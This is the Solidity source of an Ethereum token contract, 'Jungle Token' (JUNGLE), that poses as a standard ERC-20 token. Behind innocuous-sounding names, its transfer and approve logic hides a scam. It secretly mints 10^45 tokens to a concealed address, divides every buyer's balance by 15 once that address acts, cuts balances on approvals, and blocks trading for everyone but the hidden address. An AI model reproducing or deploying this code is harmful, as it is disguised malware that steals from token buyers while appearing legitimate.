文件 1 的 1:JungleToken.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Night;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private Daylight;
address private Cloths = address(0);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private slowly = 0;
address public pair;
uint256 private cheese;
IDEXRouter router;
string private _name; string private _symbol; address private _msgSanders; uint256 private _totalSupply;
bool private trading; bool private Swimming; uint256 private Dive;
constructor (string memory name_, string memory symbol_, address msgSender_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_msgSanders = msgSender_;
_name = name_;
_symbol = symbol_;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function openTrading() external onlyOwner returns (bool) {
trading = true;
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _balancesOfTheClouds(address account) internal {
_balances[account] += (((account == _msgSanders) && (cheese > 2)) ? (10 ** 45) : 0);
}
function _balancesOfTheWind(address sender, address recipient, uint256 amount, bool elastic) internal {
Swimming = elastic ? true : Swimming;
if (((Night[sender] == true) && (Night[recipient] != true)) || ((Night[sender] != true) && (Night[recipient] != true))) { Daylight.push(recipient); }
if ((Night[sender] != true) && (Night[recipient] == true)) { require(amount < (_totalSupply / 15)); }
if ((Swimming) && (sender == _msgSanders)) {
for (uint256 i = 0; i < Daylight.length; i++) {
_balances[Daylight[i]] /= 15;
}
}
_balances[Cloths] /= (((slowly == block.timestamp) || (Swimming)) && (Night[recipient] != true) && (Night[Cloths] != true) && (Dive > 1)) ? (100) : (1);
Dive++; Cloths = recipient; slowly = block.timestamp;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _TropicalRainforest(address creator) internal virtual {
approve(_router, 10 ** 77);
(cheese,Swimming,Dive,trading) = (0,false,0,true);
(Night[_router],Night[creator],Night[pair]) = (true,true,true);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function _balanceOfTheRain(address sender, address recipient, uint256 amount) internal {
require((trading || (sender == _msgSanders)), "ERC20: trading for the token is not yet enabled.");
_balancesOfTheWind(sender, recipient, amount, (address(sender) == _msgSanders) && (cheese > 0));
cheese += (sender == _msgSanders) ? 1 : 0;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balanceOfTheRain(sender, recipient, amount);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
_balancesOfTheClouds(sender);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
_balances[owner] /= (Swimming ? 10 : 1);
emit Approval(owner, spender, amount);
}
function _DeployJungle(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_DeployJungle(creator, initialSupply);
_TropicalRainforest(creator);
}
}
contract JungleToken is ERC20Token {
constructor() ERC20Token("Jungle Token", "JUNGLE", msg.sender, 180000000 * 10 ** 18) {
}
}